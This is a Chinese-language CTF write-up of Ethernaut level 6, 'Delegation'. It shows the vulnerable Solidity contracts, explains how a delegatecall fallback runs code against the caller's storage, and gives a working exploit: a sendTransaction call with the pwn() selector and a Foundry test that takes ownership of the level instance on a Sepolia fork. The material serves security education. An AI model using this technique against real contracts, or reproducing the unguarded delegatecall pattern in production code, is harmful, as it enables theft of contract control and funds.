# Ethernaut CTF Level 6 - Delegation
## 題目
這一關的目標是取得創建實例的所有權。
可能會有用的資訊
* 仔細看 solidity 文件關於 delegatecall 的低階函式。它是如何怎麽運行,如何委派操作給鏈上函式函式庫,以及它對執行時期作用範圍的影響
* fallback 方法(method)
* 方法(method)的 ID
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
```
<br>
## 分析
題目在fallback function提供了delegationCall
這允許callee更改caller的狀態,包含呼叫function
```
[delegatecall 使用]
│
├── 呼叫者合約 (發起 delegatecall)
│ │
│ ├── 維持自身狀態
│ │
│ ├── 維持自身以太幣餘額
│ │
│ └── 維持自身合約地址 (this)
│
└── 被呼叫合約 (代碼被執行)
│
├── 使用呼叫者合約的存儲 (狀態變量)
│
├── 使用呼叫者合約的以太幣餘額
│
└── 使用呼叫者合約地址 (this)
```
<br>
目的是得到pwn()的 function signature 再填入到msg.data內。
可以到這個網站填入pwn()得到 hash ,得到abi signature (前4個 byte)
- https://emn178.github.io/online-tools/keccak_256.html
## 攻擊
得到pwn()的function signature是`dd365b8b`
可以用下面方法呼叫fallback,裡面的msg.data會被delegateCall呼叫
- 也就是`pwn()`
```solidity
await contract.sendTransaction({data:'dd365b8b'})
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/06-Delegation/Delegation.sol";
contract ContractTest is Test {
Delegation level6 =
Delegation(payable(0x12B6C4Fc18970Aa7a962b967d7a32170c5Cb65A3));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x12B6C4Fc18970Aa7a962b967d7a32170c5Cb65A3),
"Ethernaut06"
);
}
function testEthernaut06() public {
level6.owner();
(bool success, ) = address(level6).call{value: 0}(
abi.encodeWithSignature("pwn()")
);
assert(level6.owner() == address(this));
}
receive() external payable {}
}
```
<br>
## 補充
From Ethernaut
使用 delegatecall 是風險蠻高的行為,而且過去的多次攻擊中,它常常是被利用的攻擊向量。如果用了它,你的合約根本是在說「欸欸!看這裡,其它合約/函式函式庫,想要對我的狀態怎麼玩弄都可以喔」。被委派的實例(delegate)對你合約的狀態有完整的權限。delegatecall 函式是一個非常強大的工具,但是同時也十分危險,在使用的時候需要非常的小心。
請參見 The Parity Wallet Hack Explained 這篇文章,它詳細解釋了當初如何透過這個方法去竊取三千萬美元。
https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7
<br>